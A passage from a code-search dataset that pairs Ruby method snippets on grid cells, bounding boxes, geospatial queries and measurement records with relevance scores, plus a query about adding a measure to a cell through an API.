@dirty = false\n end", "def cell_params\n params.require(:cell).permit(:occupied, :home_id, :section_id)\n end", "def bounding_box\n if with_z\n [Point.from_x_y_z(@x, @y, @z), Point.from_x_y_z(@x, @y, @z)]\n else\n [Point.from_x_y(@x, @y), Point.from_x_y(@x, @y)]\n end\n end", "def getIndexRange()\n rangeTime = { :min => nil, :max => nil} ;\n rangeX = { :min => nil, :max => nil} ;\n rangeY = { :min => nil, :max => nil} ;\n rangeZ = { :min => nil, :max => nil} ;\n @sumGridTable.keys.sort.each{|index|\n rangeTime[:min] = safeMin(index[0], rangeTime[:min]) ;\n rangeTime[:max] = safeMax(index[0], rangeTime[:max]) ;\n rangeX[:min] = safeMin(index[1][0], rangeX[:min]) ;\n rangeX[:max] = safeMax(index[1][0], rangeX[:max]) ;\n rangeY[:min] = safeMin(index[1][1], rangeY[:min]) ;\n rangeY[:max] = safeMax(index[1][1], rangeY[:max]) ;\n rangeZ[:min] = safeMin(index[1][2], rangeZ[:min]) ;\n rangeZ[:max] = safeMax(index[1][2], rangeZ[:max]) ;\n }\n return [rangeTime, rangeX, rangeY, rangeZ] ;\n end", "def locations_within_bounding_box(sw_latitude, sw_longitude, ne_latitude, ne_longitude)\n uri_params = { swLat: sw_latitude, swLon: sw_longitude, neLat: ne_latitude, neLon: ne_longitude }\n @client.get('/BikePoint', uri_params)\n end", "def food_trucks_within(bounding_box)\n @bounding_box = bounding_box\n\n response = self.class.get(\n ENV['DATA_SF_BASE_PATH'],\n query: query\n )\n return response if response.success?\n raise CustomErrors::Api::ThirdPartyApiError.new(message: 'An error occured with the DataSf API, please contact the service administrator or see the logs if you are the administrator.', code: 500, data: response)\n end", "def to_bounding_box\n [[west, south], [east, north]] if @envelope.present?\n end", "def index\n @cells = Cell.all\n end", "def get_cell(x, y)\n grid[x][y]\n end", "def geo_within_geometry_query(box)\n {\n '$geoWithin' => {\n '$geometry': {\n type: 'Polygon',\n coordinates: to_polygon(box)\n }\n }\n }\n end", "def configure_cells\n\t\teach_cell do |cell|\n\t\t\trow, col = cell.row, cell.column\n\n\t\t\tcell.north = self[row - 1, col]\n\t\t\tcell.south = self[row + 1, col]\n\t\t\tcell.east = self[row, col + 1]\n\t\t\tcell.west = self[row, col - 1]\n\t\tend\n\tend", "def bounds\n \"#{top},#{left}:#{bottom},#{right}\"\n end", "def actual_cells\n @cells.compact\n end", "def find_nearby\n locations = read_locations_from FILE\n locations.select_within_radius 100 \n locations.sort.filter_fields\n end", "def spatial_query(bounds)\n sb = bounds_to_center_radius(bounds)\n if sb.present?\n \"{!spatial lat=#{sb[:center][:latitude]} long=#{sb[:center][:longitude]} radius=#{sb[:radius]} unit=km calc=arc threadCount=2}\"\n else\n \"\"\n end\n end", "def find_space(options)\n known_args = [:Subnet, :IPCount, :Version]\n version = nil\n if (options.kind_of? Integer)\n bits4 = options\n bits6 = options\n elsif (options.kind_of? Hash) \n NetAddr.validate_args(options.keys,known_args)\n if (options.has_key?(:Version))\n version = options[:Version]\n raise \"IP version should be 4 or 6, but was #{version}.\" if (version != 4 && version !=6)\n end\n\n if (options.has_key?(:Subnet))\n bits4 = options[:Subnet]\n bits6 = options[:Subnet]\n elsif(options.has_key?(:IPCount))\n bits4 = NetAddr.minimum_size(options[:IPCount], :Version => 4)\n bits6 = NetAddr.minimum_size(options[:IPCount], :Version => 6)\n else\n raise \"Missing arguments: :Subnet/:IPCount\"\n end\n else\n raise \"Integer or Hash expected, but #{options.class} provided.\"\n end\n\n list = []\n if (!version || version == 4)\n dump_children(@v4_root).each do |entry|\n cidr = entry[:CIDR]\n if ( (cidr.tag[:Subnets].length == 0) && (cidr.bits <= bits4) )\n list.push(cidr)\n end\n end\n end\n\n if (!version || version == 6)\n dump_children(@v6_root).each do |entry|\n cidr = entry[:CIDR]\n if ( (cidr.tag[:Subnets].length == 0) && (cidr.bits <= bits6) )\n list.push(cidr)\n end\n end\n end\n\n new_list = []\n list.each {|x| new_list.push( NetAddr.cidr_build(x.version, x.to_i(:network), x.to_i(:netmask)) )}\n\n return(new_list)\n end", "def bounds\n return [] unless @grpc.bounding_box\n @bounds ||= Array(@grpc.bounding_box.vertices).map do |v|\n Vertex.from_grpc v\n end\n end", "def bounds\n return [] unless @grpc.bounding_box\n @bounds ||= Array(@grpc.bounding_box.vertices).map do |v|\n Vertex.from_grpc v\n end\n end", "def bounds\n return [] unless @grpc.bounding_box\n @bounds ||= Array(@grpc.bounding_box.vertices).map do |v|\n Vertex.from_grpc v\n end\n end", "def bounds\n return [] unless @grpc.bounding_box\n @bounds ||= Array(@grpc.bounding_box.vertices).map do |v|\n Vertex.from_grpc v\n end\n end", "def areas_by_radius(lat, lon, radius_meters)\n #get min/max latitude and longitude of radius around point\n min_lat, min_lon, max_lat, max_lon = radius_box = bounding_box(lat, lon, radius_meters)\n\n #estimate the size of boxes to target\n steps = estimate_steps_by_radius(radius_meters)\n #re-encode point using steps\n #the geohashes are composed of 32 distinct numbers/letters, basically base 32\n #bits are composed of 1s and 0s, base 2 or binary\n #steps is the length of the binary number for longitude and latitude, and the combined length of the binary string (which interleaves both the longitude and latitude) is 2*steps\n # since 32 is 2^5, while 2 is 2^1, the length of a base 32 number will be the length of a binary number divided by 5 and plus 1 (32 base 10 = 10000 base 2 = 10 base 32).\n str_len = steps*2/5 + 1\n hash = encode(lat, lon, str_len)\n\n #get neighbors of box\n neighbors = neighbors(hash)\n neighbors_neighbors = neighbors.each_with_object([]) {|neighbor, nb| nb << neighbors(neighbor)}\n\n # 25 geohashes surrounding the original\n nb = neighbors_neighbors.flatten.uniq\n\n # remove those geohashes that are outside the bounding box\n nb.each do |neighbor|\n n_latlng_low, n_latlng_high = decode(neighbor)\n if n_latlng_low[0] > max_lat or n_latlng_low[1] > max_lon or n_latlng_high[0] < min_lat or n_latlng_high[1] < min_lon\n nb -= [neighbor]\n end\n end\n\n #return remaining neighbor list\n nb\n end", "def get_neighbors_from_cell(cell)\n coordinates = [\n [cell.coord_x + 1, cell.coord_y],\n [cell.coord_x - 1, cell.coord_y],\n [cell.coord_x, cell.coord_y - 1],\n [cell.coord_x, cell.coord_y + 1],\n [cell.coord_x - 1, cell.coord_y + 1],\n [cell.coord_x + 1, cell.coord_y + 1],\n [cell.coord_x - 1, cell.coord_y - 1],\n [cell.coord_x + 1, cell.coord_y - 1]\n ]\n\n neighbors = coordinates.map do |coordinate|\n find_cell(coordinate)\n end\n\n neighbors.select { |neighbor| neighbor && neighbor.empty? }\n end", "def cells_around cell, opts = {}\n opts.reverse_merge! :include_self => false\n \n ca = [Loc.new(:x => cell.x+1, :y => cell.y),\n Loc.new(:x => cell.x-1, :y => cell.y),\n Loc.new(:x => cell.x, :y => cell.y+1),\n Loc.new(:x => cell.x, :y => cell.y-1)]\n \n # add self if requested\n ca << cell if opts[:include_self] \n ca\n end", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n raise RangeError, \"illegal sheet <#{sheet}>\" unless sheets.index(sheet)\n sheet_no = sheets.index(sheet)+1\n xml = @gs.fulldoc(sheet_no).to_s\n doc = XML::Parser.string(xml).parse\n doc.find(\"//*[local-name()='cell']\").each do |item|\n row = item['row']\n col = item['col']\n key = \"#{row},#{col}\"\n string_value = item['inputvalue'] || item['inputValue'] \n numeric_value = item['numericvalue'] || item['numericValue'] \n (value, value_type) = determine_datatype(string_value, numeric_value)\n @cell[sheet][key] = value unless value == \"\" or value == nil\n @cell_type[sheet][key] = value_type \n @formula[sheet] = {} unless @formula[sheet]\n @formula[sheet][key] = string_value if value_type == :formula\n end\n @cells_read[sheet] = true\n end", "def gridpoints\n gridpoints = {'l' => @ngauss, 'e' => @negrid, 's' => @nspec}\n if @grid_option == \"single\"\n gridpoints.absorb({'x'=>1, 'y'=>1})\n else\n gridpoints.absorb({'x' => (@ntheta0 or (2.0 * (@nx - 1.0) / 3.0 + 1.0).floor), 'y' => (@naky or ((@ny - 1.0) / 3.0 + 1.0).floor)})\n end\n return gridpoints\nend", "def neighbors cell\n [\n above_cell(cell),\n below_cell(cell),\n left_cell(cell),\n right_cell(cell),\n ]\n end" ]
[ "0.62607753", "0.6017512", "0.58347434", "0.58320624", "0.57840544", "0.54796183", "0.5473193", "0.5397516", "0.5372596", "0.535785", "0.5335334", "0.5335334", "0.53150153", "0.53017", "0.5301368", "0.5300782", "0.52827024", "0.5268867", "0.52373934", "0.52369547", "0.5225494", "0.51806724", "0.51706606", "0.5163916", "0.5160266", "0.5154497", "0.5122829", "0.5083829", "0.5057842", "0.50356644", "0.50271636", "0.5013047", "0.49989963", "0.49985898", "0.49977624", "0.4983596", "0.49787527", "0.49769828", "0.49543834", "0.49466023", "0.49302837", "0.49155802", "0.49155802", "0.49119017", "0.49039143", "0.48982608", "0.48911", "0.48821127", "0.4870514", "0.48682475", "0.48664957", "0.4861098", "0.4860267", "0.48530766", "0.48518637", "0.484623", "0.4843748", "0.48392054", "0.4837873", "0.48374495", "0.48359197", "0.48301575", "0.4819965", "0.48155737", "0.48152477", "0.48110133", "0.47969532", "0.47963506", "0.47917765", "0.47899702", "0.47768843", "0.47636482", "0.47606742", "0.47583172", "0.47578138", "0.4754424", "0.47538394", "0.47452933", "0.4743434", "0.4742281", "0.4741811", "0.4738531", "0.47378007", "0.47287008", "0.4720964", "0.4713695", "0.47104973", "0.4709431", "0.4707632", "0.47069538", "0.47058296", "0.47058296", "0.47058296", "0.47058296", "0.46991226", "0.46985275", "0.4696567", "0.46950006", "0.4694801", "0.4692717" ]
0.68340975
0
Adds a measure (specified by the measure object) to a given cell (specified by the cell object). In case of success the response object will also contain the cell_id and the measure_id of the newly created measure. Although the library does not check this, a valid APIkey must have been specified while initializing the this object
def add_measure(cell, measure) raise ArgumentError, "cell must be of type Cell" unless cell.is_a? Cell raise ArgumentError, "measure must be of type Measure" unless measure.is_a? Measure params = cell.to_query_hash params[:lat] = measure.lat params[:lon] = measure.lon params[:signal] = measure.signal if measure.signal params[:measured_at] = measure.taken_on if measure.taken_on exec_req_and_parse_response "/measure/add", params end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_measure_from_excel(measure)\n hash = {}\n hash[:classname] = measure['measure_file_name']\n hash[:name] = measure['name']\n hash[:display_name] = measure['display_name']\n hash[:measure_type] = measure['measure_type']\n hash[:uid] = measure['uid'] ? measure['uid'] : SecureRandom.uuid\n hash[:version_id] = measure['version_id'] ? measure['version_id'] : SecureRandom.uuid\n\n # map the arguments - this can be a variable or argument, add them all as arguments first,\n # the make_variable will remove from arg and place into variables\n args = []\n\n measure['variables'].each do |variable|\n args << {\n local_variable: variable['name'],\n variable_type: variable['type'],\n name: variable['name'],\n display_name: variable['display_name'],\n display_name_short: variable['display_name_short'],\n units: variable['units'],\n default_value: variable['distribution']['static_value'],\n value: variable['distribution']['static_value']\n }\n end\n hash[:arguments] = args\n\n m = add_measure(measure['name'], measure['display_name'], measure['local_path_to_measure'], hash)\n\n measure['variables'].each do |variable|\n next unless ['variable', 'pivot'].include? variable['variable_type']\n\n dist = {\n type: variable['distribution']['type'],\n minimum: variable['distribution']['min'],\n maximum: variable['distribution']['max'],\n mean: variable['distribution']['mean'],\n standard_deviation: variable['distribution']['stddev'],\n values: variable['distribution']['discrete_values'],\n weights: variable['distribution']['discrete_weights'],\n step_size: variable['distribution']['delta_x']\n }\n opt = {\n variable_type: variable['variable_type'],\n variable_display_name_short: variable['display_name_short'],\n static_value: variable['distribution']['static_value']\n }\n\n m.make_variable(variable['name'], variable['display_name'], dist, opt)\n end\n end", "def update\n if @measure.update(measure_params)\n head :no_content\n else\n render json: @measure.errors, status: :unprocessable_entity\n end\n end", "def create\n @measure = @attribute.attribute_measures.new(measure_params)\n if @measure.save\n render json: @measure, status: :created, location: entity_attribute_measure_url(@entity, @attribute, @measure)\n else\n render json: @measure.errors, status: :unprocessable_entity\n end\n end", "def add_measure_from_csv(measure)\n hash = {}\n hash[:classname] = measure[:measure_data][:classname]\n hash[:name] = measure[:measure_data][:name]\n hash[:display_name] = measure[:measure_data][:display_name]\n hash[:measure_type] = measure[:measure_data][:measure_type]\n hash[:uid] = measure[:measure_data][:uid] ? measure[:measure_data][:uid] : SecureRandom.uuid\n hash[:version_id] = measure[:measure_data][:version_id] ? measure[:measure_data][:version_id] : SecureRandom.uuid\n\n # map the arguments - this can be a variable or argument, add them all as arguments first,\n # the make_variable will remove from arg and place into variables\n hash[:arguments] = measure[:args]\n\n m = add_measure(measure[:measure_data][:name], measure[:measure_data][:display_name], measure[:measure_data][:local_path_to_measure], hash)\n\n measure[:vars].each do |variable|\n next unless ['variable', 'pivot'].include? variable[:variable_type]\n\n dist = variable[:distribution]\n opt = {\n variable_type: variable[:variable_type],\n variable_display_name_short: variable[:display_name_short],\n static_value: variable[:distribution][:mode]\n }\n\n m.make_variable(variable[:name], variable[:display_name], dist, opt)\n end\n end", "def create\n @measure = Measure.new(params[:measure])\n\n respond_to do |format|\n if @measure.save\n format.html { redirect_to @measure, notice: 'Measure was successfully created.' }\n format.json { render json: @measure, status: :created, location: @measure }\n else\n format.html { render action: 'new' }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @breadcrumb = 'create'\n @measure = Measure.new(params[:measure])\n @measure.created_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @measure.save\n format.html { redirect_to @measure, notice: crud_notice('created', @measure) }\n format.json { render json: @measure, status: :created, location: @measure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @measure = Measure.new(measure_params)\n\n respond_to do |format|\n if @measure.save\n format.html { redirect_to @measure, notice: 'Measure was successfully created.' }\n format.json { render :show, status: :created, location: @measure }\n else\n format.html { render :new }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_measure(measure_id, importer)\n @measure_importers[measure_id] = importer\n end", "def add_measure(measure_id, importer)\n @measure_importers[measure_id] = importer\n end", "def add_measure(instance_name, instance_display_name, local_path_to_measure, measure_metadata)\n @items << OpenStudio::Analysis::WorkflowStep.from_measure_hash(instance_name, instance_display_name, local_path_to_measure, measure_metadata)\n\n @items.last\n end", "def set_measure\n @measure = Measure.find(params[:id])\n end", "def set_measure\n @measure = Measure.find(params[:id])\n end", "def set_measure\n @measure = Measure.find(params[:id])\n end", "def create\n @measure = current_user.measures.build(measure_params)\n\n respond_to do |format|\n if @measure.save\n format.html { redirect_to action: :index, notice: 'Measure was successfully created.' }\n format.json { render :show, status: :created, location: @measure }\n else\n format.html { render :new }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @measure = Measure.find(params[:id])\n\n respond_to do |format|\n if @measure.update_attributes(params[:measure])\n format.html { redirect_to @measure, notice: 'Measure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @measure = current_user.account.measures.new(params[:measure])\n\n respond_to do |format|\n if @measure.save\n flash[:notice] = 'Measure was successfully created.'\n format.html { redirect_to(@measure) }\n format.xml { render :xml => @measure, :status => :created, :location => @measure }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @measure.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @measure.update(measure_params)\n format.html { redirect_to @measure, notice: 'Measure was successfully updated.' }\n format.json { render :show, status: :ok, location: @measure }\n else\n format.html { render :edit }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @measure.update(measure_params)\n format.html { redirect_to @measure, notice: 'Measure was successfully updated.' }\n format.json { render :show, status: :ok, location: @measure }\n else\n format.html { render :edit }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def measure=(measure)\n if measure.nil?\n fail ArgumentError, 'invalid value for \"measure\", measure cannot be nil.'\n end\n @measure = measure\n end", "def getMiniMeasurement\n#measurements\n\n\n @set= ChartItem.new(\"Total Inches\")\n\n for measurement in @measurement\n \n # id: integer, user_id: integer, chest: integer, belly_upper: integer, belly_lower: integer, hips: integer, thigh: integer, arm: integer, date: datetime, created_at: datetime, updated_at: datetime\n sum = measurement.chest + measurement.belly_upper + measurement.belly_lower + measurement.hips + measurement.thigh + measurement.arm\n \n @set.addPoint(measurement.date.to_time.to_i * 1000,sum)\n \n end \n# ----------------------------------\n# now start adding them to the chart\n# ---------------------------------- \n #if @chartoptions[:measurement][0]\n \n \n @miniMeasures.add(@set)\n\n\n#end # if @chartoptions[:measurments] \nend", "def add_measure_from_analysis_hash(instance_name, instance_display_name, local_path_to_measure, measure_metadata)\n @items << OpenStudio::Analysis::WorkflowStep.from_analysis_hash(instance_name, instance_display_name, local_path_to_measure, measure_metadata)\n\n @items.last\n end", "def create\n @measure = Measure.new(measure_params)\n logger.debug \"New Measure: #{@measure.attributes.inspect}\"\n respond_to do |format|\n if @measure.save\n format.html { redirect_to @measure, notice: 'Measure was successfully created.' }\n format.json { render :show, status: :created, location: @measure }\n MeasureCleanupJob.set(wait: 36.hours).perform_later @measure\n else\n format.html { render :new }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n @@pumpStatus = \"|\" + measure_params[:pump_status].to_s + \"|\"\n logger.debug \"@@pumpStatus has been set to: #{@@pumpStatus}\"\n end", "def create\n @kr_measure = KrMeasure.new(kr_measure_params)\n\n respond_to do |format|\n if @kr_measure.save\n format.html { redirect_to @kr_measure, notice: 'Kr measure was successfully created.' }\n format.json { render :show, status: :created, location: @kr_measure }\n else\n format.html { render :new }\n format.json { render json: @kr_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_cell_measures(cell)\n query_cell_info '/cell/getMeasures', cell\n end", "def create\n @measure_instance = MeasureInstance.new(measure_instance_params)\n\n respond_to do |format|\n if @measure_instance.save\n format.html { redirect_to @measure_instance, notice: 'Measure instance was successfully created.' }\n format.json { render action: 'show', status: :created, location: @measure_instance }\n else\n format.html { render action: 'new' }\n format.json { render json: @measure_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_measures(connection, food_record)\n results = connection.exec(\"SELECT amount, description, grams FROM weight WHERE id = '#{food_record['id']}' ORDER BY sequence\")\n list = []\n list.push( { 'measure' => '100 grams', 'kcals' => food_record['kcal'].to_i, 'grams' => 100 })\n # example record: { \"amount\": \"1\", \"description\": \"cup\", \"grams\": \"185\" }\n results.each do |rec|\n text = [ rec['amount'].to_s, rec['description'] ].join(' ')\n kcals = food_record['kcal'].to_f * rec['grams'].to_f / 100\n list.push( { 'measure' => text.strip, 'kcals' => kcals.to_i, 'grams' => rec['grams'].to_i })\n end\n food_record['measures'] = list\nrescue PG::Error => e\n STDERR.puts e\n exit -1\nend", "def update\n @breadcrumb = 'update'\n @measure = Measure.find(params[:id])\n @measure.updated_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @measure.update_attributes(params[:measure])\n format.html { redirect_to @measure,\n notice: (crud_notice('updated', @measure) + \"#{undo_link(@measure)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_measurement(key, options = {})\n if options.is_a?(Hash)\n self.measurements << Measurement.lookup(key).new(options)\n else\n self.measurements << options\n end\n end", "def create\n @unit_measure = UnitMeasure.new(unit_measure_params)\n\n respond_to do |format|\n if @unit_measure.save\n format.html { redirect_to @unit_measure, notice: 'Unit measure was successfully created.' }\n format.json { render :show, status: :created, location: @unit_measure }\n else\n format.html { render :new }\n format.json { render json: @unit_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @breadcrumb = 'create'\n @measure = Measure.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @measure }\n end\n end", "def create\n @cloth_measure = ClothMeasure.new(params[:cloth_measure])\n respond_to do |format|\n if @cloth_measure.save\n if params[:id] == 'current_user'\n current_user.update_attribute(:cloth_measure_id, @cloth_measure.id)\n format.html { redirect_to user_profile_personalization_path, notice: 'Cloth measure was successfully created.' }\n format.json { render json: @cloth_measure, status: :created, location: @cloth_measure }\n elsif numeric?(params[:id]) and (current_user.admin? or !current_supplier.nil?)\n dress = Dress.find(params[:id])\n dress.cloth_measures << @cloth_measure\n format.html { redirect_to dresses_set_stock_path(id: dress.id), notice: 'Cloth measure was successfully created.' }\n format.json { render json: @cloth_measure, status: :created, location: @cloth_measure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cloth_measure.errors, status: :unprocessable_entity } \n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @cloth_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_measurement_mobile\n\t\tif !params[:value].nil? and !params[:card_id].nil? and !params[:measure_type_id].nil?\n\t\t\t@measurement = Measurement.new(measurement_mobile)\n\t\t\tif @measurement.save\n\t\t\t\trender json: {status: \"success\" }\n\t\t\telse\n\t\t\t\trender json: {status: \"failure\" }\n\t\t\tend\n\t\telse\n\t\t\trender json: {status: \"failure\" }\n\t\tend\n\tend", "def set_kr_measure\n @kr_measure = KrMeasure.find(params[:id])\n end", "def update\n @measure = current_user.account.measures.find(params[:id])\n\n respond_to do |format|\n if @measure.update_attributes(params[:measure])\n flash[:notice] = 'Measure was successfully updated.'\n format.html { redirect_to(@measure) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @measure.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add_custom_metric(index, value)\n self.custom_metrics[\"cm#{index}\"] = value\n end", "def update\n respond_to do |format|\n if @kr_measure.update(kr_measure_params)\n format.html { redirect_to @kr_measure, notice: 'Kr measure was successfully updated.' }\n format.json { render :show, status: :ok, location: @kr_measure }\n else\n format.html { render :edit }\n format.json { render json: @kr_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def register_metric(metric)\n @metrics << metric\n metric\n end", "def create\n metric = metrics.create(create_params)\n\n respond_with(metric)\n end", "def add_cull_measure\n id = params[:id]\n if id && @qc_inspection_test = QcInspectionTest.find(id)\n @qc_inspection_type_code = @qc_inspection_test.qc_inspection.qc_inspection_type.qc_inspection_type_code\n return if authorise_for_web(program_name(@qc_inspection_type_code),'edit')== false\n @qc_measurement_type = QcMeasurementType.find(params[:cull_measure])\n @qc_result = @qc_inspection_test.qc_results.first\n\n begin\n @qc_result.add_cull_measurement( @qc_measurement_type )\n if !@qc_result.valid?\n ajax_error_alert('Validation error', nil, @qc_result)\n return\n end\n cull_measurements = @qc_result.cull_measurements( @qc_measurement_type )\n col_headers = cull_measurements.shift\n\n render :update do |page|\n page.insert_html :bottom, 'cull_results', :partial => 'cull_result_measurement',\n :object => cull_measurements[0],\n :locals => {:max_cols => @qc_inspection_test.max_columns_for_measurements,\n :col_headers => col_headers,\n :measurement_rules => @qc_inspection_test.measurement_rules}\n page << \"$$('#cull_measure option[value=#{@qc_measurement_type.id}]').each(function(e) { e.remove(); })\"\n page << \"if ($('cull_measure').options.length == 0) {$('cull_add_form').hide();}\"\n end\n rescue StandardError => error\n ajax_error_alert(nil, error, @qc_result)\n end\n end\n end", "def create\n @metric = Metric.new(params[:metric])\n\n if @metric.save\n render json: @metric, status: :created, location: @metric\n else\n render json: @metric.errors, status: :unprocessable_entity\n end\n end", "def set_measure_instance\n @measure_instance = MeasureInstance.find(params[:id])\n end", "def add_metric\n\t\tp_language = ProgrammingLanguage.find_by_name(RubyCoverage::PROGRAMMING_LANGUAGE)\n\t\t \n\t\tbegin\n\t\t Metric.table_exists?\n\t\t metric_analyser = RubyCoverage::ANALYSER\n\t\t metric_name = RubyCoverage::NAME\n\t\t if Metric.find_by_name(metric_name).nil?\n\t\t\tmetric = Metric.new(:name => metric_name, :analyser => metric_analyser)\n\t\t\tmetric.programming_language = p_language\n\t\t\tmetric.save!\n\t\t end \n\t\trescue\n\t\t raise \"ActiveRecord::Metric does not exist.\"\n\t\tend\n\t end", "def create\n @measurement = Measurement.new(params[:measurement])\n\n respond_to do |format|\n if @measurement.save\n format.html { redirect_to body_measurement_path(@measurement), notice: 'Measurement was successfully created.' }\n format.json { render json: @measurement, status: :created, location: @measurement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @measurement.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_cell(key, child_node)\n raise ArgumentError, \"Already have a cell for key #{key}\" if cell_by_value(key)\n cells.create(:dimension_value => key, :child_node => child_node)\n end", "def set_measure_report\n @measure_report = MeasureReport.find(params[:id])\n end", "def create\n @weather_measure = WeatherMeasure.new(weather_measure_params)\n\n respond_to do |format|\n if @weather_measure.save\n format.html { redirect_to @weather_measure, notice: 'Weather measure was successfully created.' }\n format.json { render :show, status: :created, location: @weather_measure }\n else\n format.html { render :new }\n format.json { render json: @weather_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @unit_of_measure = UnitOfMeasure.new(params[:unit_of_measure])\n\n respond_to do |format|\n if @unit_of_measure.save\n format.html { redirect_to @unit_of_measure, notice: t(:unit_of_measure_created) }\n format.json { render json: @unit_of_measure, status: :created, location: @unit_of_measure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unit_of_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @measure_instance.update(measure_instance_params)\n format.html { redirect_to @measure_instance, notice: 'Measure instance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @measure_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_unit_measure\n @unit_measure = UnitMeasure.find(params[:id])\n end", "def new\n @measure = Measure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @measure }\n end\n end", "def create\n unless current_user.measurements.find_date(params[:measure_date]).nil?\n update_all\n else\n @measurement = Measurement.new(params[:measurement])\n @measurement.user = current_user\n respond_to do |format|\n unless params[:commit] == 'Cancel'\n if @measurement.save\n flash[:notice] = 'Measurement was successfully created.'\n format.html { redirect_to dashboards_path }\n format.xml { render :xml => @measurement, :status => :created, :location => @measurement }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @measurement.errors, :status => :unprocessable_entity }\n end\n else\n format.html { redirect_to dashboards_path }\n format.xml { head :ok }\n end\n end\n end\n end", "def add_measure_from_path(instance_name, instance_display_name, local_path_to_measure)\n measure_filename = 'measure.rb'\n\n if File.exist?(local_path_to_measure) && File.file?(local_path_to_measure)\n measure_filename = File.basename(local_path_to_measure)\n local_path_to_measure = File.dirname(local_path_to_measure)\n end\n\n if Dir.exist?(local_path_to_measure) && File.directory?(local_path_to_measure)\n measure_hash = nil\n if File.exist?(File.join(local_path_to_measure, 'measure.xml'))\n measure_hash = parse_measure_xml(File.join(local_path_to_measure, 'measure.xml'))\n else\n raise 'Could not find measure.xml'\n end\n\n add_measure(instance_name, instance_display_name, local_path_to_measure, measure_hash)\n else\n raise \"could not find measure to add to workflow #{local_path_to_measure}\"\n end\n\n @items.last\n end", "def update\n @metric = Metric.find(params[:id])\n\n if @metric.update(params[:metric])\n head :no_content\n else\n render json: @metric.errors, status: :unprocessable_entity\n end\n end", "def add_cell(value=\"\", options={})\n c = Cell.new(self, value, options)\n update_auto_fit_data\n c\n end", "def send_solr_jmx_metrics_to_metric_reporter(mbean_type, collection_name, metric_aggr_type, solr_mbean_json_resp_obj)\n\n if mbean_type.start_with? \"/\"\n mbean_type = mbean_type.slice(1,mbean_type.length-1)\n end\n\n # Some mbean types contains slash(/). All such slashes will be converted to '.' ex: admin/segments will be converted to admin.segments\n mbean_type = mbean_type.sub(/\\//, '.')\n\n # Format of mbeans is:\n # {\n # \"solr:category=QUERY,dom1=core,dom2=ngiso-app_shard2_replica1,name=org.apache.solr.handler.component.SearchHandler,reporter=_jmx_994115484,scope=/select\":\n # {\n # \"95thPcRequestTime\": 0.392329,\n # \"99thPcRequestTime\": 0.392329\n # }\n #}\n mbeans = solr_mbean_json_resp_obj[\"value\"]\n\n # Format of mbean_names - solr:category=QUERY,dom1=core,dom2=ngiso-app_shard2_replica1,name=org.apache.solr.handler.component.SearchHandler,reporter=_jmx_994115484,scope=/select\n mbean_names = mbeans.keys\n\n mbean_aggr_metric_map_obj = Hash.new()\n mbeans.each do |mbean_name, mbean_metrics|\n\n mbean_metrics.each do |metric_key, metric_value|\n metric_value = get_raw_metrics(metric_value, mbean_aggr_metric_map_obj[metric_key])\n mbean_aggr_metric_map_obj[metric_key] = metric_value\n end\n end\n\n mbean_aggr_metric_map_obj.each do |metric_key, metric_agg_value|\n metric_key = metric_key.delete \"\\s\\n\"\n if metric_aggr_type == \"ADD_METRICS\"\n\n fields = {\"#{mbean_type}.\"+metric_key => metric_agg_value.to_s }\n\n # write metrics to medusa log (/opt/solr/log/jmx_medusa_stats.log)\n if (@medusa_log_writer != nil)\n if collection_name != nil && !collection_name.empty?\n @medusa_log_writer.write_medusa_log(collection_name, fields, @time)\n else\n @medusa_log_writer.write_medusa_log(MedusaLogWriter::CONST_CLUSTER_SUMMARY, fields, @time)\n end\n end\n\n # Write the metrics to Graphite\n if (@graphite_writer != nil)\n if collection_name != nil && !collection_name.empty?\n @graphite_writer.write_collection_specific_metric(\"#{mbean_type}.\"+metric_key, GraphiteWriter::CONST_CORE_SUMMARY, metric_agg_value.to_s, @time, collection_name)\n else\n @graphite_writer.write_metric(\"#{mbean_type}.\"+metric_key, GraphiteWriter::CONST_CORE_SUMMARY, metric_agg_value.to_s, @time)\n end\n end\n\n else\n metric_avg_aggr_value = metric_agg_value / mbean_names.size\n\n fields = {\"#{mbean_type}.\"+metric_key => metric_avg_aggr_value.to_s}\n # write metrics to medusa log (/opt/solr/log/jmx_medusa_stats.log)\n if 